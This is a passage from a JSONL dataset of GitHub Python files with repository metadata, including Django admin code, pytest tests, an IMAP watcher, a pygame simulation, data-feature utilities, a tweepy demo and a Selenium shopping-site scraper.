= ('branch', 'domain', 'language', 'full_po', 'part_po')\n    inlines = [ InformationInline ]\n\nclass PoFileAdmin(admin.ModelAdmin):\n    search_fields = ('path',)\n\nadmin.site.register(Statistics, StatisticsAdmin)\nadmin.site.register(PoFile, PoFileAdmin)\nadmin.site.register(Branch, BranchAdmin)\nadmin.site.register(Domain, DomainAdmin)\nadmin.site.register(Category, CategoryAdmin)\nadmin.site.register(Module, ModuleAdmin)\nadmin.site.register(Release, ReleaseAdmin)\n","repo_name":"vdepizzol/damned-lies","sub_path":"stats/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4552,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"9798801613","text":"import logging\nimport sys\n\nimport attr\n\nlogging.basicConfig(stream=sys.stderr, level=logging.INFO)\n\n\n@attr.s(auto_detect=True)  # or init=False\nclass C:\n    x = attr.ib()\n\n    def __init__(self, x: int = 42):\n        self.__attrs_init__(x)\n\n\nif __name__ == \"__main__\":\n    c = C()\n    logging.info(\"%s\", c)\n","repo_name":"tinylambda/keep","sub_path":"module_attrs/attrs_init_custom.py","file_name":"attrs_init_custom.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"11554419264","text":"from solution import length, solution_01, solution_02\r\n\r\nimport pytest\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"polymer,expected\",\r\n    [\r\n        (\"dabAcCaCBAcCcaDA\", 10),\r\n        (\"dbcCCBcCcD\", 6),\r\n        (\"daAcCaCAcCcaDA\", 8),\r\n        (\"dabAaBAaDA\", 4),\r\n        (\"abAcCaCBAcCcaA\", 6),\r\n    ],\r\n)\r\ndef test_length(polymer, expected):\r\n    assert length(polymer) == expected\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"polymer,to_remove,expected\",\r\n    [\r\n        (\"dabAcCaCBAcCcaDA\", \"\", 10),\r\n        (\"dbcCCBcCcD\", \"A\", 6),\r\n        (\"daAcCaCAcCcaDA\", \"B\", 8),\r\n        (\"dabAaBAaDA\", \"C\", 4),\r\n        (\"abAcCaCBAcCcaA\", \"D\", 6),\r\n    ],\r\n)\r\ndef test_length_w_to_remove(polymer, to_remove, expected):\r\n    assert length(polymer, to_remove=to_remove) == expected\r\n\r\n\r\n@pytest.mark.parametrize(\"source,length\", [(\"test.data\", 10), (\"input.data\", 9704)])\r\ndef test_solution_01(source: str, length: int) -> None:\r\n    assert solution_01(source) == length\r\n\r\n\r\n@pytest.mark.parametrize(\"source,length\", [(\"test.data\", 4), (\"input.data\", 6942)])\r\ndef test_solution_02(source: str, length: int) -> None:\r\n    assert solution_02(source) == length\r\n","repo_name":"suic86/adventofcode","sub_path":"2018/day_05/test_solution.py","file_name":"test_solution.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72725954932","text":"#!/usr/bin/python\n\n'''dryrun_driver.py: \nThis code is the driver script for dryrun.py, documented seperately.\nBasically what this script does is sets the IMAP server in IDLE mode so\nas to be notified when a new email arrives. However before doing that,\nit first invokes dryrun_invoke() to check for any existing unprocessed\nrequests.\n\nBuilt upon\nhttp://blog.timstoop.nl/2009/03/11/python-imap-idle-with-imaplib2/\n\nAmit Saha < droidery@gmail.com> \nhttp://echorand.me\nVersion PoC: 27 August, 2011\n'''\n\n\n# uses impalib2: https://www.it.usyd.edu.au/~piers/python/imaplib2\n\nimport imaplib2, time\nfrom threading import *\n\nimport logging\n\nfrom dryrun import *\n\n# Global configs for the mailbox which acts\n# as the receiever for code execution requestions\nIMAP_SERVER = 'imap.gmail.com'\nusername = 'your username'\npassword = 'your password'\n\n# This is the threading object that does all the waiting on \n# the event\nclass Idler(object):\n    def __init__(self, conn):\n        self.thread = Thread(target=self.idle)\n        self.M = conn\n        self.event = Event()\n        \n    def start(self):\n        self.thread.start()\n        \n    def stop(self):\n        # This is a neat trick to make thread end. Took me a \n        # while to figure that one out!\n        self.event.set()\n        \n    def join(self):\n        self.thread.join()\n        \n    def idle(self):\n        # Starting an unending loop here\n        while True:\n            # This is part of the trick to make the loop stop \n            # when the stop() command is given\n            if self.event.isSet():\n                return\n            self.needsync = False\n            # A callback method that gets called when a new \n            # email arrives. Very basic, but that's good.\n            def callback(args):\n                if not self.event.isSet():\n                    self.needsync = True\n                    self.event.set()\n            # Do the actual idle call. This returns immediately, \n            # since it's asynchronous.\n            self.M.idle(callback=callback)\n            # This waits until the event is set. The event is \n            # set by the callback, when the server 'answers' \n            # the idle call and the callback function gets \n            # called.\n            self.event.wait()\n            # Because the function sets the needsync variable,\n            # this helps escape the loop without doing \n            # anything if the stop() is called. Kinda neat \n            # solution.\n            if self.needsync:\n                self.event.clear()\n                self.dosync()\n                \n    # The method that gets called when a new email arrives. \n    # Replace it with something better.\n    def dosync(self):\n\n        logging.info('Got a request for processing..')\n        # invoke dryrun\n        dryrun_invoke()\n\n# Register a IDLE for the mailbox\nif __name__=='__main__':\n    \n    # Init. logger\n    logging.basicConfig(filename='dryrun.log',level=logging.DEBUG,format='%(asctime)s %(message)s')\n    logging.info('Starting Dryrun...')\n\n    # Check for any unattended new requests\n    dryrun_invoke()\n\n\n    # Register IDLE mode with the IMAP server and \n    # wait\n    M = imaplib2.IMAP4_SSL(IMAP_SERVER)\n    M.login(username,password)\n    # We need to get out of the AUTH state, so we just select \n    # the INBOX.\n    M.select(\"INBOX\")\n    # Start the Idler thread\n    idler = Idler(M)\n    idler.start()\n    \n    #keep alive for ever\n    while 1:\n        time.sleep(1*360)\n\n    # Clean up.\n    idler.stop()\n    idler.join()\n    M.close()\n    # This is important!\n    M.logout()\n","repo_name":"amitsaha/dryrun","sub_path":"dryrun_driver.py","file_name":"dryrun_driver.py","file_ext":"py","file_size_in_byte":3584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31390845195","text":"import csv\nimport re\nfrom gtts import gTTS as gtts\n\nwith open('クイズ.csv', encoding=\"utf_8\") as file:\n    reader = csv.reader(file)\n    word=[]\n    for row in reader:\n        A=row[0]\n        B=row[1]\n        A=re.sub(\"\\(.+?\\)\", \"\",A)\n        A=re.sub(\"\\（.+?\\）\", \"\",A)\n        B=re.sub(\"\\(.+?\\)\", \"\",B)\n        B=re.sub(\"\\（.+?\\）\", \"\",B)\n        word.append(A)\n        word.append(B+\"\\n\\n\\n\")\n\ntxt=\"    \".join(word)\nmp3_txt=gtts(txt,lang='ja')\nmp3_txt.save('クイズ.mp3')\n","repo_name":"ryota-17201/QUIZ","sub_path":"quiz_mp3.py","file_name":"quiz_mp3.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"30097926194","text":"from __future__ import annotations\nimport random\nimport string\nimport pygame\nimport time\nfrom datetime import datetime, timedelta\nfrom main.entities.Agents import *\nfrom main.entities.Pollen import Pollen\nfrom main.entities.RoundBoundary import RoundBoundary\nfrom main.entities.NemoFish import *\nfrom main.entities.Sharks import *\nfrom main.world.World import World, distance_between\nimport numpy as np\n\nclass Simulation:\n\n    SPOT_TIME_STEP = timedelta(seconds=1000.0)\n    DeltaT = 0.02\n    TIME_STEP = timedelta(seconds=DeltaT)\n    VERBOSE = False\n    FRICTION = 1.\n\n\n    def __init__(self,worldsize, agentstatFile = None , decimationstatFile = None ,  printreproductiveAgent = True ):\n        self.size=worldsize\n        self.entities = []\n        self.pollens = []\n        self.roundboundaries = []\n        self.agents = []\n        self.interactiveagents = []\n        self.world = World(worldsize)\n        self.populate_zoo()\n        self.next_spot_time = datetime.now()\n        self.next_step_time = datetime.now()\n        self.worldtorus = True\n        self.current_step = 1\n\n        ''' # statistics '''\n        self.agentstatFile=agentstatFile\n        self.decimation_number = 0\n        self.printreproductiveAgent=printreproductiveAgent\n        if printreproductiveAgent:\n            self.bestagentfilename = \"reproductiveagent_\"+ time.strftime(\"%Y%m%d-%H%M%S\")+ \".txt\"\n\n    def populate_zoo(self):\n        return\n\n    def add_entity(self, entity):\n        if entity in self.entities:\n            pass\n        else:\n            self.entities.append(entity)\n        if isinstance(entity,RoundBoundary):\n            if entity in self.roundboundaries:\n                pass\n            else:\n                self.roundboundaries.append(entity)\n                if self.VERBOSE: print(entity.name+\" added to roundboundaries\")\n        if isinstance(entity,Agent):\n            if entity in self.agents:\n                pass\n            else:\n                self.agents.append(entity)\n                if self.VERBOSE: print(entity.name+\" added to agents\")\n        if isinstance(entity,InteractiveAgent):\n            if entity in self.interactiveagents:\n                pass\n            else:\n                self.interactiveagents.append(entity)\n                if self.VERBOSE: print(entity.name+\" added to interactiveagents\")\n        if isinstance(entity,Pollen):\n            if entity in self.pollens:\n                pass\n            else:\n                self.pollens.append(entity)\n                if self.VERBOSE: print(entity.name+\" added to pollens\")\n\n\n    def remove_entity(self, entity):\n        if isinstance(entity,Pollen):\n                self.pollens.remove(entity)\n        if isinstance(entity,InteractiveAgent):\n                self.interactiveagents.remove(entity)\n        if isinstance(entity,Agent):\n                self.agents.remove(entity)\n        if isinstance(entity,RoundBoundary):\n                self.roundboundaries.remove(entity)\n        self.entities.remove(entity)\n        del entity\n    \n    def respawn_entity(self, entity):\n        new_position = (random.randint(0,self.world.size[0]),random.randint(0,self.world.size[1]))\n        entity.set_position(new_position)\n        \n    def agent_die(self,deadagent):\n        # return energy to environment\n        energy=deadagent.DefaultEnergy\n        while energy > 0.:\n            pollen = Pollen(self ,  (random.randint(0,self.world.size[0]),random.randint(0,self.world.size[1])), \"pollenflake\" )\n            energy -= pollen.energy\n            self.add_entity(pollen)\n        self.remove_entity(deadagent)\n\n\n    def agent_born(self,parentagent):\n        if self.printreproductiveAgent:  self.print_agent_to_file(parentagent)\n        if self.agentstatFile is not None: self.printagent(parentagent)\n        newagent = parentagent.reproduce(self)\n        self.add_entity(newagent)\n        self.respawn_entity(newagent)\n\n    def print_agent_to_file(self,agent):\n        file1 = open(self.bestagentfilename, \"w\")\n        agent.print_to_file(file1)\n        file1.close()\n\n\n#    def agent_die(self,deadagent):\n#        # search for best agent\n#        max_energy = -1.\n#        bestAgent = None\n#        for tmpagent in self.agents:\n#            if max_energy < tmpagent.get_energy(): \n#                max_energy = tmpagent.get_energy()\n#                bestAgent = tmpagent\n#        # reproduce best agent\n#        newagent = bestAgent.reproduce(self)\n#        newagent.set_energy(self.median_agent_energy())\n#        self.add_entity(newagent)\n#        self.respawn_entity(newagent)\n#        # remove dead agent\n#        self.remove_entity(deadagent)\n\n\n#    def decimation(self):\n#        self.decimation_number +=1\n#        q=0.25\n#        upper_quantile = self.agent_energy_quantile(1-q)\n#        lower_quantile = self.agent_energy_quantile(q)\n#        agentstobeadded = []\n#        agentstoberemoved = []\n#        for agent in self.agents:\n#            if upper_quantile <= agent.get_energy():\n#                if self.agentstatFile is not None: self.printagent(agent)\n#                newagent = agent.reproduce(self)\n#                agentstobeadded.append(newagent)\n#            elif lower_quantile < agent.get_energy():\n#                agentstoberemoved.append(agent)\n#        for oldagent in agentstoberemoved:\n#            self.remove_entity(oldagent)\n#        for newagent in agentstobeadded:\n#            self.add_entity(newagent)\n#            self.respawn_entity(newagent)                      \n#            newagent.set_energy(lower_quantile) \n\n    def printagent(self,agent):\n        if self.agentstatFile is not None:\n                L = [agent.name + ' {} '.format(self.decimation_number) + ' '.join(map(str, agent.get_energyTotInOut())) +  ' {}'.format(agent.get_energy()) + '\\n' ]\n                self.agentstatFile.writelines(L)\n        \n\n#    def agent_die(self,deadagent):\n#        self.decimation_number +=1\n#        median_energy = self.median_agent_energy()\n#        agentstobeadded = []\n#        agentstoberemoved = []\n#        for tmpagent in self.agents:\n#            if self.agentstatFile is not None:\n#                L = [tmpagent.name + ' {} '.format(self.decimation_number) + ' '.join(map(str, tmpagent.get_energyTotInOut())) + '\\n' ]\n#                self.agentstatFile.writelines(L)\n#            if median_energy <= tmpagent.get_energy():\n#                newagent = tmpagent.reproduce(self)\n#                agentstobeadded.append(newagent)\n#            else:\n#                agentstoberemoved.append(tmpagent)\n#        for oldagent in agentstoberemoved:\n#            self.remove_entity(oldagent)\n#        for newagent in agentstobeadded:\n#            self.add_entity(newagent)\n#            self.respawn_entity(newagent)                      \n#            newagent.set_default_energy() \n\n    def print_best_agent(self):\n        # search for best agent\n        max_energy = -1.\n        bestAgent = None\n        for agent in self.agents:\n            agent.turnvisibility(False)\n            if max_energy < agent.get_energy(): \n                max_energy = agent.get_energy()\n                bestAgent = agent\n#        bestAgent.print_brain(file1=None)\n#        bestAgent.print_agent(file1=None)\n        bestAgent.turnvisibility(True)\n\n    def pollen_eaten(self,pollen):\n        self.respawn_entity(pollen)\n\n    def update(self):\n        # steps\n        now = datetime.now()\n        #if now >= self.next_step_time:\n        for agent in self.agents:\n            agent.update(self)\n        self.next_step_time = now + self.TIME_STEP\n        self.current_step += 1\n\n        # draws all world objects\n        self.world.draw(self, self.entities)\n\n    def median_agent_energy(self):\n        energies = np.zeros(len(self.agents))\n        for k,agent in enumerate(self.agents):\n            energies[k] = agent.get_energy()\n        median = np.median(energies,overwrite_input=True)\n        print(energies)\n        print(\"median={}\".format(median))\n        return median\n\n    def total_agent_energy(self):\n        energy = 0. \n        for agent in self.agents:\n            energy += agent.get_energy()\n        return energy\n\n\n    def agent_energy_quantile(self,q):\n        energies = np.zeros(len(self.agents))\n        for k,agent in enumerate(self.agents):\n            energies[k] = agent.get_energy()\n        return  np.quantile(energies,q,overwrite_input=True)\n\n\n    def average_agent_energy(self):\n        average_energy = 0.\n        for agent in self.agents:\n            average_energy += agent.get_energy()\n        if (len(self.agents)>0):\n            average_energy = average_energy / len(self.agents)\n        return average_energy\n\n    def n_agent(self):\n        return len(self.agents)\n\n    def print_agents(self):\n        for agent in self.agents:\n            if isinstance(agent,IntelligentAgent):\n                agent.print_brain()\n        \n    def process_event(self,event):\n        for agent in self.interactiveagents:\n            agent.process_event(event)\n\n\nclass CambrianZoo(Simulation):\n\n    def populate_zoo(self):\n        print(\"create simulation\")\n        #### POLLEN\n        for i in range(1,180):\n            pollen = Pollen(self ,  (random.randint(100, 1000),random.randint(100, 1000)), \"pollenflake{}\".format(i) )       \n            self.add_entity(pollen)\n        #### ROUNDBOUNDARY\n        for i in range(10,20):\n            self.add_entity(RoundBoundary(self , (random.randint(100, 1000),random.randint(100, 1000)) , random.randint(10,30), \"b{}\".format(i) )) \n        #### NEMO\n        nemo = NemoFish(self , (500,300) ,\"nemo1\" )       \n        self.add_entity(nemo)\n        self.target = nemo\n        #### SHARKS\n        for i in range(10,18):\n                    shark = Follower2(self , (random.randint(100, 1000),random.randint(100, 1000)) ,\"shark{}\".format(i) ) \n                    self.add_entity(shark)\n\n\nclass TestingZoo(Simulation):\n    pollen_threshold = 0.9\n\n    def populate_zoo(self):\n        print(\"create simulation\")\n        #### POLLEN\n        for i in range(1,180):\n            pollen = Pollen(self ,  (random.randint(100, 1000),random.randint(100, 1000)), \"pollenflake{}\".format(i) )       \n            self.add_entity(pollen)\n        #### NEMO\n        nemo = NemoBrain(self , (500,300) ,\"nemo1\" )       \n        self.add_entity(nemo)\n        self.target = nemo\n        self.interactiveagents.append(nemo)\n        \n        self.embodied_energy = self.total_agent_energy()\n\n\n\nclass EdiacaranZoo(Simulation):\n\n    intelligent_agent_surface_density = 1.0e-5\n    pollen_surface_density = 1.0e-4 \n    pollen_threshold = 0.9\n\n    def populate_zoo(self):\n        print(\"create simulation\")\n        #### POLLEN\n        for i in range(1, round(self.pollen_surface_density * self.world.size[0] * self.world.size[1])   ):\n            pollen = Pollen(self ,  (random.randint(0,self.world.size[0]),random.randint(0,self.world.size[1])), \"pollenflake{}\".format(i) )       \n            self.add_entity(pollen)\n        #### NEMO\n        #nemo = NemoFish(self , (500,300) ,\"nemo1\" )       \n        for i in range(10,11 + round(self.intelligent_agent_surface_density * self.world.size[0] * self.world.size[1]) ):\n            nemo = annAgent(self ,  (random.randint(0,self.world.size[0]),random.randint(0,self.world.size[1])), \"annNemo{}_\".format(i) )       \n            self.add_entity(nemo)\n        #self.target = nemo\n\n        for i in range(10,11 + round(self.intelligent_agent_surface_density * self.world.size[0] * self.world.size[1]) ):\n            nemo = rnnAgent(self ,  (random.randint(0,self.world.size[0]),random.randint(0,self.world.size[1])), \"rnnNemo{}_\".format(i) )       \n            self.add_entity(nemo)\n        #self.target = nemo\n        self.embodied_energy = self.total_agent_energy()\n   \n    def pollen_eaten(self,pollen):\n        if self.total_agent_energy() < self.embodied_energy :\n            self.respawn_entity(pollen)\n        else:\n            self.remove_entity(pollen)\n\n\n    def process_event(self,event):\n        if event.type == pygame.KEYDOWN and event.key == pygame.K_PAGEUP: \n            self.embodied_energy += 0.05\n        if event.type == pygame.KEYDOWN and event.key == pygame.K_PAGEDOWN:\n            self.embodied_energy -= 0.05\n        super().process_event(event)\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"andreaduggento/pygame_Wtmp_01","sub_path":"main/world/Simulation.py","file_name":"Simulation.py","file_ext":"py","file_size_in_byte":12260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25003216748","text":"from paths import *\nfrom FeatureProcesser.FeatureAnalyzer import *\nfrom SystemHelpers.JsonIO import *\n\ndef getFlattenDict(features, map = None, preKey = ''):\n    if map == None: map = {}\n    for k, i in features.items():\n        #if k in ['tags', \"beats_position\"]: continue\n        if isinstance(i, dict):\n                map = getFlattenDict(i, map, k if preKey == '' else preKey + '_' + k)\n        elif isinstance(i, list):\n            if len(i) == 1:\n                map[preKey + '_' + k] = i[0]\n            else:\n                map[preKey + '_' + k] = i\n        elif isinstance(i, float) or isinstance(i, int) or isinstance(i, str):\n            map[preKey + '_' + k] = i\n    return map\n\ndef collectFeaturesList():\n    featuresList = []\n    analyseAllFeatures(lambda features: featuresList.append(getFlattenDict(features)))\n    #print_('unicodeDecodeErrorCount =', str(unicodeDecodeErrorCount)+',', 'JSONDecodeErrorCount =', str(JSONDecodeErrorCount)+',',\n    #     'FeaturesListCount =',  len(featuresList))\n    print_(len(featuresList), 'features have been collected from different folders successfully by', nowStr())\n    return featuresList\n\ndef generateFeaturesList(featuresList = None, fileName = 'featuresList', printing = False):\n    if featuresList == None: featuresList = collectFeaturesList()\n    fileName = joinPath(Acoustic_Features_OfflineFolder, fileName)\n    writeToJsonRaw(featuresList, fileName, printText = printing)\n\ndef readFeaturesList(fileName = 'featuresList'):\n    fileName = joinPath(Acoustic_Features_OfflineFolder, fileName)\n    return evalJson(fileName)\n\ndef generateFeatureKeyList(featuresList = None, toFileName = 'featureKeyList', printing = False):\n    if featuresList == None: featuresList = collectFeaturesList()\n    keys = set()\n    for features in featuresList:\n        keys.update(features.keys())\n    keys = list(keys)\n    writeToJson(keys, joinPath(AcousticFeaturesFolder, toFileName), printing = printing)\n    return keys   \n\ndef checkFeaturesCount(featuresList):\n    length = len(featuresList[0])\n    print_(length)\n    for features in featuresList:\n        if length != len(features):\n            for k in features.keys():\n                if not k in featuresList[0].keys():\n                    print_(k)\n\ndef readFeaturesKeyList(fileName = 'featureKeyList'):\n    return evalJson(joinPath(AcousticFeaturesFolder, fileName))\n\ndef generateFeaturesValueLists(fileName = 'featureValueLists', featuresList = None, printing = False):\n    if featuresList == None: featuresList = collectFeaturesList()\n    featureList = readFeaturesKeyList()\n    featureValueLists = {}\n    for field in featureList:\n        featureValueLists[field] = []\n    for features in featuresList:\n        for field in featureList:\n            if not field in features.keys(): continue\n            if isinstance(features[field], list):\n                if len(features[field]) == 1:\n                    featureValueLists[field].append(features[field][0])\n                else:\n                    featureValueLists[field].append(len(features[field]))\n            else:\n                featureValueLists[field].append(features[field])\n    fileName = joinPath(AcousticFeaturesFolder, fileName)\n    writeToJsonRaw(featureValueLists, fileName, printText = printing, sort = False)\n\ndef readFeaturesValueLists(fileName = 'featureValueLists'):\n    fileName = joinPath(AcousticFeaturesFolder, fileName)\n    return evalJson(fileName)\n\ndef containsType(l, t):\n    for e in l:\n        if t == None:\n            if e == None:\n                return True\n        elif isinstance(e, t):\n            return True\n        return False\n\ndef setWithNone(l):\n    li = [e for e in l if e != None]\n    li.append(None)\n    return li\n\ndef getTypeOfListElement(l):\n    li = setWithNone(l)\n    if len(li) == 0:\n        return type(None).__name__\n    else:\n        return type(li[0]).__name__\n\ndef generateFeaturesValueTypes(fileName = 'featureValueTypes',  featuresList = None, printing = False):\n    if featuresList == None: featuresList = collectFeaturesList()\n    featureValueLists = readFeaturesValueLists()\n    featureValueTypes = {}\n    for field, fieldList in featureValueLists.items():\n            featureValueTypes[field] = getTypeOfListElement(fieldList)\n    fileName = joinPath(AcousticFeaturesFolder, fileName)\n    writeToJsonRaw(featureValueTypes, fileName, printText = printing)\n\ndef readFeaturesValueTypes(fileName = 'featureValueTypes'):\n    fileName = joinPath(AcousticFeaturesFolder, fileName)\n    return evalJson(fileName)\n\ndef generateFeaturesValueTypeCounts(fileName = 'featureValueTypeCounts',  featuresList = None, printing = False):\n    featureValueTypes = readFeaturesValueTypes()\n    typeCounts = {}\n    typeList = list(featureValueTypes.values())\n    typeSet = list(set(typeList))\n    for type in typeSet:\n        typeCounts[type] = typeList.count(type)\n    fileName = joinPath(AcousticFeaturesFolder, fileName)\n    writeToJsonRaw(typeCounts, fileName, printText = printing)\n\ndef generateFeaturesValueSets(fileName = 'featureValueSets',  featuresList = None, printing = False):\n    if featuresList == None: featuresList = collectFeaturesList()\n    featureValueLists = readFeaturesValueLists()\n    featureValueSets = {}\n    #originalSets = evalJson(valuesFolder + 'features_Values.json')\n    for field, fieldList in list(featureValueLists.items()):\n        if containsType(fieldList, None):\n            fieldList = setWithNone(fieldList)\n        if not (containsType(fieldList, dict) or containsType(fieldList, list)):\n            fieldList = list(set(fieldList))\n        #if field in originalSets.keys():\n        #    fieldList.extend([value for value in originalSets[field] if not value in fieldList])\n        featureValueSets[field] = fieldList\n    fileName = joinPath(AcousticFeaturesFolder, fileName)\n    writeToJsonRaw(featureValueSets, fileName, printText = printing)\n    \ndef readFeaturesValueSets(fileName = 'featureValueSets'):\n    fileName = joinPath(AcousticFeaturesFolder, fileName)\n    return evalJson(fileName)\n\ndef generateFeaturesValueCounts(fileName = 'featureValueCounts',  featuresList = None, printing = False):\n    featureValueSets = readFeaturesValueSets()\n    valueCounts = {}\n    for k, v in featureValueSets.items():\n        valueCounts[k] = len(v)\n    fileName = joinPath(AcousticFeaturesFolder, fileName)\n    writeToJsonRaw(valueCounts, fileName, printText = printing)\n\ndef readFeaturesValueCounts(fileName = 'featureValueCounts'):\n    fileName = joinPath(AcousticFeaturesFolder, fileName)\n    return evalJson(fileName)\n\ndef generateFeaturesStatistics(featuresList = None, printing = False):\n    if featuresList == None: featuresList = collectFeaturesList()\n    generateFeatureKeyList(featuresList = featuresList, printing = printing)\n    generateFeaturesValueLists(featuresList = featuresList, printing = printing)\n    generateFeaturesValueTypes(featuresList = featuresList, printing = printing)\n    generateFeaturesValueSets(featuresList = featuresList, printing = printing)\n    generateFeaturesValueCounts(featuresList = featuresList, printing = printing)\n    generateFeaturesValueTypeCounts(featuresList = featuresList, printing = printing)\n\ndef readFeaturesStatistics(featuresList = None, regenerate = False):\n    if regenerate:\n         featuresList = readFeatures(featuresList)\n         generateFeaturesStatistics(featuresList)\n    statistics = {}\n    statistics[\"fieldList\"] = readFeaturesKeyList()\n    statistics[\"fieldValueLists\"] = readFeaturesValueLists()\n    statistics[\"fieldValueSets\"] = readFeaturesValueSets()\n    statistics[\"fieldValueTypes\"] = readFeaturesValueTypes()\n    statistics[\"fieldValueCounts\"] = readFeaturesValueCounts()\n    return statistics \n\ndef generateFeaturesStatisticsJson(fileName = 'featureStatistics', featuresList = None, regenerate = False):\n    if regenerate:\n        if featuresList == None: featuresList = collectFeaturesList()\n        generateFeaturesStatistics(featuresList)\n    statistics = readFeaturesStatistics(featuresList)\n    fileName = joinPath(Acoustic_Features_OfflineFolder, fileName)\n    writeToJsonRaw(statistics, fileName)\n    \ndef readFeaturesStatisticsJson(fileName = 'featureStatistics'):\n    fileName = joinPath(Acoustic_Features_OfflineFolder, fileName)\n    return evalJson(fileName)\n   \ndef regenerateAllFeaturesStatistics():\n    featuresList = collectFeaturesList()\n    generateFeaturesList(featuresList)\n    readFeaturesList()\n    generateFeaturesStatisticsJson(featuresList = featuresList, regenerate = True)\n    statistics = readFeaturesStatisticsJson()\n\n\n     \n\n","repo_name":"muratcancicek/Assignment-Projects","sub_path":"Music_Learning/FeatureProcesser/FeatureProcesser.py","file_name":"FeatureProcesser.py","file_ext":"py","file_size_in_byte":8573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39000758262","text":"from textblob import TextBlob\nimport tweepy\n\nconsumer_key = '' #<<your key>>\nconsumer_secret = '' #<<your key>>\n\naccessToken = '' #<<your key>>\naccessSecret = '' #<<your key>>\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(accessToken, accessSecret)\n\napi = tweepy.API(auth)\n\npublic_tweets = api.search('happy')\n\nfor tweet in public_tweets:\n    print(tweet.text)\n    analysis = TextBlob(tweet.text)\n    print(analysis.sentiment.polarity) #polarity of the tweets\n","repo_name":"abhople/twitter-sentiment","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"3068932716","text":"import dash\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nimport plotly.graph_objs as go\r\nimport pandas as pd\r\nimport numpy as np\r\nimport datetime as dt\r\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\r\n\r\ndf = pd.read_csv('dataset_combined.csv')\r\nprint(df.head())\r\n\r\n\r\n\r\n\r\ndef make_dict(df,col='center'):\r\n    unique_list = df[col].unique()\r\n    df_out = dict()\r\n    df = df.sort_values(by=['dteday'], ascending=True)\r\n    idx = pd.date_range(df['dteday'].iloc[0], df['dteday'].iloc[-1], freq='H', name='dteday')\r\n    for i in unique_list:\r\n        ddf = df[df[col] == i]\r\n        ddf['call_diff'] = abs(ddf['calls'] - ddf['answered'] - ddf['abandoned'])\r\n\r\n        ddf['dteday'] = pd.to_datetime(ddf['dteday'])    \r\n        ddf = ddf.set_index('dteday').reindex(idx).reset_index(drop=False)\r\n        df_out[i] = ddf.set_index('dteday')\r\n        print(df_out[i].head(100))\r\n    return df_out\r\n\r\ndf_dict = make_dict(df,'center')\r\n\r\n\r\n\r\ndf['dteday'] = pd.to_datetime(df['dteday'])\r\ndf = df.set_index('dteday')\r\n\r\n\r\nday_dict={  0:'Monday',\r\n            1:'Tuesday',\r\n            2:'Wednesday',\r\n            3:'Thursday',\r\n            4:'Friday',\r\n            5:'Saturday',\r\n            6:'Sunday'\r\n            }\r\n\r\ndef get_day(i):\r\n    if(i is 0):\r\n        return 'Monday'\r\n\r\n    return 'Tuesday'\r\n\r\n# print(pd.Series(df_dict['center_1']['answered'].groupby(df_dict['center_1'].index.dayofweek).mean().index).map(day_dict))\r\n\r\n# print(df_dict[i][df_dict[i]['call_diff'] < 3*df_dict[i]['call_diff'].std()]['call_diff'].resample('M').mean().index.month)\r\n\r\nprint(df['center'].groupby(df.index).unique())\r\n\r\nz_hm=[\r\n    [np.random.uniform(0.5,2),np.random.uniform(0.5,2),np.random.uniform(0.5,2)],\r\n    [np.random.uniform(0.5,2),np.random.uniform(0.5,2),np.random.uniform(0.5,2)],\r\n    [np.random.uniform(0.5,2),np.random.uniform(0.5,2),np.random.uniform(0.5,2)]\r\n]\r\n\r\n","repo_name":"rajkshah3/dash","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"7240708283","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\nfrom selenium import webdriver\nimport time\n\n\n# In[6]:\n\nfrom selenium.webdriver.chrome.options import Options\nimport subprocess\nimport shutil\n\n# 자신 맞는 chrome.exe 위치 변경 필요\nsubprocess.Popen(r'C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe --remote-debugging-port=9222 --user-data-dir=\"C:\\chrometemp\"')\n\noptions = webdriver.ChromeOptions()\noptions.add_experimental_option(\"debuggerAddress\", \"127.0.0.1:9222\")\n\n\n# In[7]:\n\n\n# open chrome browser\nbrowser = webdriver.Chrome(executable_path='../chromedriver.exe', options=options)\n\n\n# In[8]:\n\n\n# url in address window(주소창에 url 입력)\nbrowser.get('https://www.coupang.com/np/search?q=%EA%B0%84%20%EA%B8%B0%EB%8A%A5%20%EC%98%81%EC%96%91%EC%A0%9C&channel=auto')\nbrowser.implicitly_wait(10)\n\n\n# ## 상품 사이트 열리지 않음. 클릭해도 열리지 않고, for문으로도 열리지 않음\n\n# In[42]:\n\n\nimport pandas as pd\nimport pymongo as mg\n\n\n# In[9]:\n\n\nclick_product ='.search-product-wrap'\nproduct_list = browser.find_elements_by_css_selector(click_product)\nlen(product_list) # 한 페이지당 36개 상품\n\n\n# In[ ]:\n\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nmain_window = browser.current_window_handle  # 현재 창의 핸들 저장\nfrom selenium.webdriver.common.keys import Keys\n\nfor product in product_list:\n    product.click()\n\n    browser.implicitly_wait(10)\n    print(f\"현재 탭 제목: {browser.title}\")   \n  